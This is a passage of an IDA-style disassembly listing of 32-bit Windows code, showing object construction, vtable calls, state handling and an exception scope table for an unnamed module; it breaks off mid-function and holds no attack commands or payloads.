; =============== S U B	R O U T	I N E =======================================



sub_69B8D034	proc near		; DATA XREF: .text:69B1495Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		lea	eax, [esi+2Ch]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		call	sub_69B8C728
		test	[esp+4+arg_0], 1
		jz	short loc_69B8D054
		push	esi
		call	sub_69B1829F


loc_69B8D054:				; CODE XREF: sub_69B8D034+18j
		mov	eax, esi
		pop	esi
		retn	4
sub_69B8D034	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B8D083


loc_69B8D05A:				; CODE XREF: sub_69B8D083+Dj
		push	esi
		push	0
		push	0
		push	0
		mov	esi, ecx
		call	sub_69B8CAAF
		push	[esp+4+arg_0]
		mov	dword ptr [esi], offset	off_69B14950
		and	dword ptr [esi+2Ch], 0
		mov	ecx, esi
		call	sub_69B8CF4E
		mov	eax, esi
		pop	esi
		retn	4
; END OF FUNCTION CHUNK	FOR sub_69B8D083

; =============== S U B	R O U T	I N E =======================================



sub_69B8D083	proc near		; CODE XREF: sub_69B5C433+7Cp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B8D05A SIZE 00000029 BYTES

		push	34h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B8D092
		mov	ecx, eax
		jmp	short loc_69B8D05A
; ---------------------------------------------------------------------------


loc_69B8D092:				; CODE XREF: sub_69B8D083+9j
		xor	eax, eax
		retn	4
sub_69B8D083	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8D097	proc near		; CODE XREF: sub_69B8C881+D3p
					; DATA XREF: sub_69B8B84D+7Eo ...

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_8]
		push	esi
		mov	esi, [ebx]
		push	edi
		mov	edi, [esi+8]
		mov	ecx, esi
		call	sub_69B8C6AD
		push	eax
		push	edi
		call	sub_69B8CDB7
		push	[esp+0Ch+arg_C]
		mov	edi, eax
		push	edi
		push	esi
		call	sub_69B8CF73
		mov	ecx, [esp+0Ch+arg_0]
		test	ecx, ecx
		jz	short loc_69B8D0CF
		push	edi
		push	dword ptr [edi+8]
		call	sub_69B3182D


loc_69B8D0CF:				; CODE XREF: sub_69B8D097+2Dj
		mov	[ebx], edi
		pop	edi
		pop	esi
		pop	ebx
		retn	10h
sub_69B8D097	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8D0D7	proc near		; CODE XREF: sub_69B4F64F+102p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B4E24E
		push	[esp+8+arg_4]
		xor	ecx, ecx
		mov	dword ptr [esi], offset	off_69B1498C
		mov	dword ptr [esi+4], offset off_69B2B1F4
		lea	eax, [esi+14h]
		mov	[eax], ecx
		mov	[esi+18h], ecx
		mov	[esi+1Ch], ecx
		mov	[esi+20h], ecx
		mov	[esi+24h], ecx
		mov	[esi+30h], ecx
		lea	edi, [esi+34h]
		mov	[edi], ecx
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		mov	[esi+10h], ecx
		call	sub_69B2DEB2
		push	[esp+8+arg_8]
		push	edi
		call	sub_69B2DEB2
		pop	edi
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_69B8D0D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8D12A	proc near		; CODE XREF: sub_69B8D4B6+3p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	ebp, ebp
		push	ebp
		lea	edi, [esi+10h]
		push	edi
		mov	dword ptr [esi-4], offset off_69B1498C
		mov	dword ptr [esi], offset	off_69B2B1F4
		mov	[esi+0Ch], ebp
		call	sub_69B2DEB2
		push	ebp
		lea	ebx, [esi+14h]
		push	ebx
		call	sub_69B17320
		push	0
		lea	ebp, [esi+18h]
		push	ebp
		call	sub_69B17320
		lea	eax, [esi+20h]
		push	0
		push	eax
		mov	[esp+20h+var_8], eax
		call	sub_69B17320
		lea	eax, [esi+1Ch]
		push	0
		push	eax
		mov	[esp+20h+var_4], eax
		call	sub_69B17320
		lea	eax, [esi+30h]
		push	0
		push	eax
		call	sub_69B2DEB2
		lea	eax, [esi+30h]
		push	eax
		call	sub_69B2DEDD
		add	esi, 2Ch
		push	esi
		call	sub_69B17230
		push	[esp+18h+var_8]
		call	sub_69B17230
		push	[esp+18h+var_4]
		call	sub_69B17230
		push	ebp
		call	sub_69B17230
		push	ebx
		call	sub_69B17230
		push	edi
		call	sub_69B2DEDD
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		jmp	sub_69B2C65C
sub_69B8D12A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8D1CE	proc near		; CODE XREF: sub_69B8D237+Ep
		push	ebx
		push	esi
		mov	esi, ecx
		call	sub_69B8A676
		push	eax
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17320
		xor	ebx, ebx
		push	ebx
		lea	eax, [esi+1Ch]
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+20h]
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+24h]
		push	eax
		call	sub_69B17320
		mov	ecx, [esi+14h]
		mov	[esi+2Dh], bl
		mov	[esi+2Ch], bl
		mov	byte ptr [esi+2Eh], 1
		cmp	[ecx+2Fh], bl
		jz	short loc_69B8D225
		push	dword_69B95A18
		call	sub_69B5ABF5
		test	al, al
		jnz	short loc_69B8D225
		push	3
		pop	ebx


loc_69B8D225:				; CODE XREF: sub_69B8D1CE+43j
					; sub_69B8D1CE+52j
		mov	eax, [esi+34h]
		mov	[esi+28h], ebx
		mov	al, [eax+8Eh]
		mov	[esi+2Fh], al
		pop	esi
		pop	ebx
		retn
sub_69B8D1CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8D237	proc near		; DATA XREF: .text:69B14998o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	[esp+arg_8], 1
		push	esi
		mov	esi, [esp+4+arg_0]
		jnz	short loc_69B8D24A
		mov	ecx, esi
		call	sub_69B8D1CE


loc_69B8D24A:				; CODE XREF: sub_69B8D237+Aj
		push	[esp+4+arg_8]
		mov	eax, [esi+10h]
		push	[esp+8+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		pop	esi
		retn	0Ch
sub_69B8D237	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8D25F	proc near		; DATA XREF: .text:69B149A8o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_10]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [eax]
		mov	eax, [esi+28h]
		mov	edx, [edi+20h]
		xor	ecx, ecx
		sub	eax, ecx
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		jz	loc_69B8D308
		dec	eax
		jz	short loc_69B8D2EF
		dec	eax
		jz	loc_69B8D3A6
		dec	eax
		jnz	loc_69B8D463
		mov	eax, [edi+4]
		cmp	eax, 1
		jnz	short loc_69B8D2C6
		mov	eax, [edx+8]
		mov	eax, [eax+10h]
		mov	ecx, [esi+14h]
		push	eax
		call	sub_69B5ABF5
		test	al, al
		jz	short loc_69B8D2EC
		lea	ebx, [esi+1Ch]
		cmp	dword ptr [ebx], 0
		jnz	loc_69B8D3FC
		and	dword ptr [esi+28h], 0
		jmp	loc_69B8D3FC
; ---------------------------------------------------------------------------


loc_69B8D2C6:				; CODE XREF: sub_69B8D25F+3Dj
		cmp	eax, 2
		jnz	short loc_69B8D2EF
		mov	eax, [esi+1Ch]
		cmp	eax, ecx
		jz	short loc_69B8D2EF
		cmp	[eax+18h], ecx
		jz	short loc_69B8D2EF
		mov	ecx, [esi+14h]
		push	0
		push	edx
		call	sub_69B8B937
		push	eax
		lea	eax, [esi+24h]
		push	eax
		call	sub_69B17320


loc_69B8D2EC:				; CODE XREF: sub_69B8D25F+50j
		mov	edx, [ebp+var_4]


loc_69B8D2EF:				; CODE XREF: sub_69B8D25F+27j
					; sub_69B8D25F+6Aj ...
		cmp	dword ptr [edi+4], 11h
		jnz	loc_69B8D3A6
		cmp	dword ptr [edi+0Ch], 0
		jz	loc_69B8D3A6
		jmp	loc_69B8D392
; ---------------------------------------------------------------------------


loc_69B8D308:				; CODE XREF: sub_69B8D25F+20j
		cmp	dword ptr [edi+4], 2
		jnz	short loc_69B8D319
		mov	byte ptr [esi+2Ch], 1
		mov	dword ptr [esi+28h], 1


loc_69B8D319:				; CODE XREF: sub_69B8D25F+ADj
		lea	ebx, [esi+1Ch]
		mov	eax, [ebx]
		cmp	eax, ecx
		jnz	short loc_69B8D33E
		cmp	byte ptr [esi+2Eh], 0
		jz	loc_69B8D3FC
		mov	ecx, [esi+14h]
		push	edx
		mov	byte ptr [esi+2Eh], 0
		call	sub_69B8B2A8
		jmp	loc_69B8D3FC
; ---------------------------------------------------------------------------


loc_69B8D33E:				; CODE XREF: sub_69B8D25F+C1j
		mov	eax, [eax+18h]
		cmp	eax, ecx
		jz	loc_69B8D3FC
		mov	ecx, [edi+4]
		cmp	ecx, 1
		jz	loc_69B8D3EE
		cmp	ecx, 2
		jz	short loc_69B8D3D8
		cmp	ecx, 3
		jz	short loc_69B8D3D2
		cmp	ecx, 0Ch
		jbe	loc_69B8D3FC
		cmp	ecx, 0Eh
		jbe	short loc_69B8D3C7
		cmp	ecx, 11h
		jz	short loc_69B8D38C
		cmp	ecx, 12h
		jnz	loc_69B8D3FC
		mov	eax, [eax+2Ch]
		cmp	byte ptr [eax+28h], 0
		jnz	short loc_69B8D3FC
		push	0Dh
		push	0
		mov	ecx, eax
		jmp	short loc_69B8D3F5
; ---------------------------------------------------------------------------


loc_69B8D38C:				; CODE XREF: sub_69B8D25F+111j
		cmp	dword ptr [edi+0Ch], 0
		jz	short loc_69B8D3C3


loc_69B8D392:				; CODE XREF: sub_69B8D25F+A4j
		mov	ecx, [esi+14h]
		xor	eax, eax
		mov	al, [esi+2Ch]
		push	eax
		push	dword ptr [esi+1Ch]
		push	dword ptr [edx+8]
		call	sub_69B8C45B


loc_69B8D3A6:				; CODE XREF: sub_69B8D25F+2Aj
					; sub_69B8D25F+94j ...
		push	[ebp+arg_10]
		mov	esi, [esi+10h]
		push	[ebp+arg_C]
		mov	eax, [esi]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword ptr [eax+1Ch]
		mov	[ebp+var_8], eax
		jmp	loc_69B8D463
; ---------------------------------------------------------------------------


loc_69B8D3C3:				; CODE XREF: sub_69B8D25F+131j
		push	0Dh
		jmp	short loc_69B8D3CE
; ---------------------------------------------------------------------------


loc_69B8D3C7:				; CODE XREF: sub_69B8D25F+10Cj
		cmp	byte ptr [esi+2Dh], 0
		jnz	short loc_69B8D3FC
		push	ecx


loc_69B8D3CE:				; CODE XREF: sub_69B8D25F+166j
		push	0
		jmp	short loc_69B8D3F2
; ---------------------------------------------------------------------------


loc_69B8D3D2:				; CODE XREF: sub_69B8D25F+FEj
		mov	byte ptr [esi+2Dh], 1
		jmp	short loc_69B8D3FC
; ---------------------------------------------------------------------------


loc_69B8D3D8:				; CODE XREF: sub_69B8D25F+F9j
		mov	ecx, [esi+14h]
		push	eax
		push	edx
		call	sub_69B8B937
		push	eax
		lea	eax, [esi+24h]
		push	eax
		call	sub_69B17320
		jmp	short loc_69B8D3FC
; ---------------------------------------------------------------------------


loc_69B8D3EE:				; CODE XREF: sub_69B8D25F+F0j
		push	ecx
		push	dword ptr [edx+8]


loc_69B8D3F2:				; CODE XREF: sub_69B8D25F+171j
		mov	ecx, [eax+2Ch]


loc_69B8D3F5:				; CODE XREF: sub_69B8D25F+12Bj
		push	dword ptr [ebx]
		call	sub_69B8FACC


loc_69B8D3FC:				; CODE XREF: sub_69B8D25F+58j
					; sub_69B8D25F+62j ...
		push	[ebp+arg_10]
		mov	eax, [esi+10h]
		push	[ebp+arg_C]
		mov	ecx, [eax]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx+1Ch]
		test	eax, eax
		mov	[ebp+var_8], eax
		jl	short loc_69B8D463
		cmp	dword ptr [edi+4], 1
		jnz	short loc_69B8D463
		mov	eax, [ebx]
		mov	ecx, [esi+14h]
		push	eax
		lea	eax, [esi+28h]
		push	eax
		push	dword ptr [edi+1Ch]
		push	1
		push	[ebp+var_4]
		call	sub_69B8BC27
		push	eax
		push	ebx
		call	sub_69B17320
		mov	ecx, [esi+18h]
		push	dword ptr [ebx]
		mov	eax, [ecx]
		call	dword ptr [eax+4Ch]
		mov	eax, [esi+28h]
		sub	eax, 0
		jz	short loc_69B8D457
		dec	eax
		dec	eax
		jnz	short loc_69B8D463
		add	esi, 30h
		jmp	short loc_69B8D45A
; ---------------------------------------------------------------------------


loc_69B8D457:				; CODE XREF: sub_69B8D25F+1EDj
		add	esi, 20h


loc_69B8D45A:				; CODE XREF: sub_69B8D25F+1F6j
		push	dword ptr [edi+1Ch]
		push	esi
		call	sub_69B17320


loc_69B8D463:				; CODE XREF: sub_69B8D25F+31j
					; sub_69B8D25F+15Fj ...
		mov	eax, [ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	14h
sub_69B8D25F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8D46D	proc near		; CODE XREF: sub_69B8D4D5+2Fp
					; sub_69B8D56F+51p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0
		mov	esi, ecx
		mov	ecx, [esi+14h]
		push	0
		push	dword ptr [esi+34h]
		lea	edi, [esi+30h]
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[esp+1Ch+arg_0]
		call	sub_69B8BCA2
		mov	eax, [esi+1Ch]
		cmp	dword ptr [eax+18h], 0
		jnz	short loc_69B8D49E
		mov	dword ptr [esi+28h], 3
		jmp	short loc_69B8D4A9
; ---------------------------------------------------------------------------


loc_69B8D49E:				; CODE XREF: sub_69B8D46D+26j
		push	dword ptr [edi]
		add	esi, 20h
		push	esi
		call	sub_69B17320


loc_69B8D4A9:				; CODE XREF: sub_69B8D46D+2Fj
		push	0
		push	edi
		call	sub_69B17320
		pop	edi
		pop	esi
		retn	4
sub_69B8D46D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8D4B6	proc near		; DATA XREF: .text:off_69B2B1F4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B8D12A
		test	[esp+4+arg_0], 1
		jz	short loc_69B8D4CE
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B8D4CE:				; CODE XREF: sub_69B8D4B6+Dj
		lea	eax, [esi-4]
		pop	esi
		retn	4
sub_69B8D4B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8D4D5	proc near		; DATA XREF: .text:69B1499Co

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [esi+28h]
		xor	ebx, ebx
		xor	eax, eax
		sub	ecx, ebx
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_69B8D50F
		dec	ecx
		jz	short loc_69B8D50C
		dec	ecx
		jz	short loc_69B8D4F7
		dec	ecx
		jz	short loc_69B8D55B
		jmp	short loc_69B8D568
; ---------------------------------------------------------------------------


loc_69B8D4F7:				; CODE XREF: sub_69B8D4D5+1Bj
		mov	eax, [edi+1Ch]
		cmp	eax, [esi+30h]
		jnz	short loc_69B8D55B
		push	[ebp+arg_4]
		mov	ecx, esi
		call	sub_69B8D46D
		mov	[esi+28h], ebx


loc_69B8D50C:				; CODE XREF: sub_69B8D4D5+18j
		mov	[esi+28h], ebx


loc_69B8D50F:				; CODE XREF: sub_69B8D4D5+15j
		push	ebx
		lea	eax, [esi+24h]
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+20h]
		push	eax
		call	sub_69B17320
		mov	eax, [esi+1Ch]
		cmp	eax, ebx
		mov	[esi+2Ch], bl
		jz	short loc_69B8D55B
		mov	eax, [eax+18h]
		cmp	eax, ebx
		jz	short loc_69B8D55B
		cmp	dword ptr [edi+4], 1
		jnz	short loc_69B8D55B
		push	[ebp+arg_4]
		mov	ecx, eax
		push	dword ptr [esi+14h]
		push	dword ptr [edi+1Ch]
		call	sub_69B8C997
		cmp	[esi+2Fh], bl
		jnz	short loc_69B8D55B
		mov	eax, [esi+1Ch]
		mov	eax, [eax+18h]
		mov	eax, [eax+38h]
		mov	[edi+20h], eax


loc_69B8D55B:				; CODE XREF: sub_69B8D4D5+1Ej
					; sub_69B8D4D5+28j ...
		mov	esi, [esi+10h]
		mov	eax, [esi]
		push	edi
		push	[ebp+arg_4]
		push	esi
		call	dword ptr [eax+10h]


loc_69B8D568:				; CODE XREF: sub_69B8D4D5+20j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_69B8D4D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8D56F	proc near		; DATA XREF: .text:69B149A0o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+10h]
		mov	ecx, [eax]
		push	edi
		mov	edi, [ebx+4]
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx+14h]
		test	eax, eax
		mov	[ebp+arg_C], eax
		jl	loc_69B8D67E
		mov	eax, [esi+28h]
		sub	eax, 0
		jz	short loc_69B8D5C9
		dec	eax
		jz	short loc_69B8D5C5
		dec	eax
		jz	short loc_69B8D5AF
		dec	eax
		jz	short loc_69B8D604
		jmp	loc_69B8D67E
; ---------------------------------------------------------------------------


loc_69B8D5AF:				; CODE XREF: sub_69B8D56F+36j
		mov	eax, [ebx+1Ch]
		cmp	eax, [esi+30h]
		jnz	loc_69B8D67E
		push	[ebp+arg_4]
		mov	ecx, esi
		call	sub_69B8D46D


loc_69B8D5C5:				; CODE XREF: sub_69B8D56F+33j
		and	dword ptr [esi+28h], 0


loc_69B8D5C9:				; CODE XREF: sub_69B8D56F+30j
		dec	edi
		dec	edi
		jz	short loc_69B8D5D6
		dec	edi
		jnz	short loc_69B8D604
		mov	byte ptr [esi+2Dh], 0
		jmp	short loc_69B8D604
; ---------------------------------------------------------------------------


loc_69B8D5D6:				; CODE XREF: sub_69B8D56F+5Cj
		mov	byte ptr [esi+2Ch], 0
		mov	ecx, [ebx+1Ch]
		test	ecx, ecx
		jz	short loc_69B8D604
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_69B8D604
		cmp	dword ptr [eax+18h], 0
		jz	short loc_69B8D604
		mov	eax, [esi+24h]
		test	eax, eax
		jz	short loc_69B8D604
		push	0
		push	eax
		push	dword ptr [esi+34h]
		push	ecx
		push	[ebp+arg_4]
		call	sub_69B4E634


loc_69B8D604:				; CODE XREF: sub_69B8D56F+39j
					; sub_69B8D56F+5Fj ...
		lea	edi, [esi+1Ch]
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_69B8D67E
		mov	ebx, [ebx+1Ch]
		cmp	[eax+1Ch], ebx
		jnz	short loc_69B8D67E
		mov	eax, [eax+18h]
		test	eax, eax
		jz	short loc_69B8D642
		cmp	[ebp+arg_8], 0
		jz	short loc_69B8D630
		push	[ebp+arg_4]
		mov	ecx, eax
		push	dword ptr [esi+14h]
		push	ebx
		call	sub_69B8C997


loc_69B8D630:				; CODE XREF: sub_69B8D56F+B1j
		cmp	[ebp+arg_8], 1
		mov	ecx, [esi+14h]
		setz	al
		push	eax
		push	dword ptr [edi]
		call	sub_69B8B2D6


loc_69B8D642:				; CODE XREF: sub_69B8D56F+ABj
		mov	ecx, [esi+18h]
		mov	eax, [ecx]
		call	dword ptr [eax+48h]
		mov	ecx, [esi+18h]
		mov	eax, [ecx]
		call	dword ptr [eax+40h]
		test	al, al
		jz	short loc_69B8D667
		push	0
		push	edi
		call	sub_69B17320
		mov	dword ptr [esi+28h], 3
		jmp	short loc_69B8D67E
; ---------------------------------------------------------------------------


loc_69B8D667:				; CODE XREF: sub_69B8D56F+E5j
		mov	ecx, [esi+18h]
		mov	eax, [ecx]
		call	dword ptr [eax+44h]
		push	eax
		push	edi
		call	sub_69B17320
		mov	eax, [edi]
		mov	eax, [eax+20h]
		mov	[esi+28h], eax


loc_69B8D67E:				; CODE XREF: sub_69B8D56F+24j
					; sub_69B8D56F+3Bj ...
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_69B8D56F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8D688	proc near		; CODE XREF: sub_69B8E37A+35p
					; sub_69B8E5B4+7Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	[ebp+var_4], 0
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B8D6B4
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jz	short loc_69B8D6AB
		push	eax
		call	sub_69B2E8B8


loc_69B8D6AB:				; CODE XREF: sub_69B8D688+1Bj
		mov	eax, [ebp+var_4]
		leave
		retn	4
sub_69B8D688	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B8D6B4	dd 0A79B04FEh, 11D28B3Ch, 6000D39Ch, 303DECB0h
; =============== S U B	R O U T	I N E =======================================



sub_69B8D6C4	proc near		; CODE XREF: sub_69B8E5B4+148p
		push	0Ch
		push	offset dword_69B8D738
		call	sub_69B19C5C
		xor	eax, eax
		mov	[ebp-1Ch], eax
		mov	[ebp-4], eax
		push	eax
		push	dword ptr [ebp+8]
		call	sub_69B2F944
		pop	ecx
		pop	ecx
		mov	[ebp-1Ch], eax
		jmp	short loc_69B8D718
; ---------------------------------------------------------------------------


loc_69B8D6E8:				; DATA XREF: .text:69B8D73Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B8D6F1:				; DATA XREF: .text:69B8D740o
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 1
		push	dword ptr [ebp+8]
		call	sub_69B1D411
		mov	[ebp-1Ch], eax
		jmp	short loc_69B8D714
; ---------------------------------------------------------------------------


loc_69B8D708:				; DATA XREF: .text:69B8D748o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B8D711:				; DATA XREF: .text:69B8D74Co
		mov	esp, [ebp-18h]


loc_69B8D714:				; CODE XREF: sub_69B8D6C4+42j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B8D718:				; CODE XREF: sub_69B8D6C4+22j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	0
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_69B2F2CA
		add	esp, 0Ch
		call	sub_69B1853C
		retn	8
sub_69B8D6C4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B8D738	dd 0FFFFFFFFh			dd offset loc_69B8D6E8
		dd offset loc_69B8D6F1
		dd 0FFFFFFFFh
		dd offset loc_69B8D708
		dd offset loc_69B8D711

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8D750	proc near		; CODE XREF: sub_69B5B558+66p
					; sub_69B5B558+C1p ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, [ebp+arg_C]
		push	ebx
		mov	[ebp+var_20], eax
		xor	eax, eax
		xor	ebx, ebx
		cmp	byte ptr [ebp+arg_14], bl
		push	esi
		mov	esi, [ebp+arg_0]
		setnz	al
		lea	ecx, [ebp+arg_14]
		push	ecx
		push	1
		push	[ebp+arg_8]
		mov	[ebp+var_24], 24h
		push	[ebp+arg_4]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_1C]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_24]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_24]
		mov	[ebp+arg_14], eax
		mov	eax, [esi]
		push	esi
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_8], ebx
		call	dword ptr [eax+1Ch]
		cmp	eax, ebx
		jnz	short loc_69B8D7C6
		cmp	[ebp+arg_10], bl
		jz	short loc_69B8D7C6
		cmp	[ebp+var_8], ebx
		jz	short loc_69B8D7C6
		mov	eax, [esi]
		lea	ecx, [ebp+var_24]
		push	ecx
		push	[ebp+arg_4]
		push	esi
		call	dword ptr [eax+10h]


loc_69B8D7C6:				; CODE XREF: sub_69B8D750+5Dj
					; sub_69B8D750+62j ...
		mov	ecx, [ebp+arg_28]
		cmp	ecx, ebx
		jz	short loc_69B8D7D2
		mov	edx, [ebp+var_8]
		mov	[ecx], edx


loc_69B8D7D2:				; CODE XREF: sub_69B8D750+7Bj
		cmp	eax, ebx
		jz	short loc_69B8D7E1
		push	ebx
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B8D7E1:				; CODE XREF: sub_69B8D750+84j
		pop	esi
		pop	ebx
		leave
		retn	2Ch
sub_69B8D750	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8D7E7	proc near		; CODE XREF: sub_69B5B558+138p
					; sub_69B5B558+182p ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, [ebp+arg_C]
		push	esi
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_8]
		lea	edx, [ebp+var_24]
		push	edx
		push	[ebp+arg_10]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_14]
		push	[ebp+arg_4]
		xor	esi, esi
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	eax
		mov	[ebp+var_24], 24h
		mov	[ebp+var_1C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_14], esi
		mov	[ebp+var_10], esi
		mov	[ebp+var_C], esi
		call	dword ptr [ecx+14h]
		cmp	eax, esi
		jz	short loc_69B8D83A
		push	esi
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B8D83A:				; CODE XREF: sub_69B8D7E7+46j
		pop	esi
		leave
		retn	18h
sub_69B8D7E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8D83F	proc near		; CODE XREF: sub_69B8D899+7p
					; sub_69B8DF85+16p
		mov	eax, [ecx+48h]
		test	eax, eax
		jnz	short loc_69B8D855
		call	sub_69B2FAF8
		lea	ecx, [eax+8]
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_69B8D855:				; CODE XREF: sub_69B8D83F+5j
		push	1
		push	eax
		call	sub_69B3156E
		retn
sub_69B8D83F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8D85E	proc near		; CODE XREF: sub_69B8ECE6+DFp
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+48h]
		test	ecx, ecx
		jz	short loc_69B8D897
		mov	eax, [ecx]
		call	dword ptr [eax+44h]
		push	edi


loc_69B8D86E:				; CODE XREF: sub_69B8D85E+36j
		mov	ecx, [esi+48h]
		mov	eax, [ecx]
		call	dword ptr [eax+38h]
		test	al, al
		jz	short loc_69B8D896
		mov	ecx, [esi+48h]
		mov	eax, [ecx]
		call	dword ptr [eax+40h]
		mov	edx, [eax]
		mov	edi, [esi+14h]
		mov	ecx, eax
		call	dword ptr [edx+10h]
		push	eax
		mov	ecx, edi
		call	sub_69B8B17B
		jmp	short loc_69B8D86E
; ---------------------------------------------------------------------------


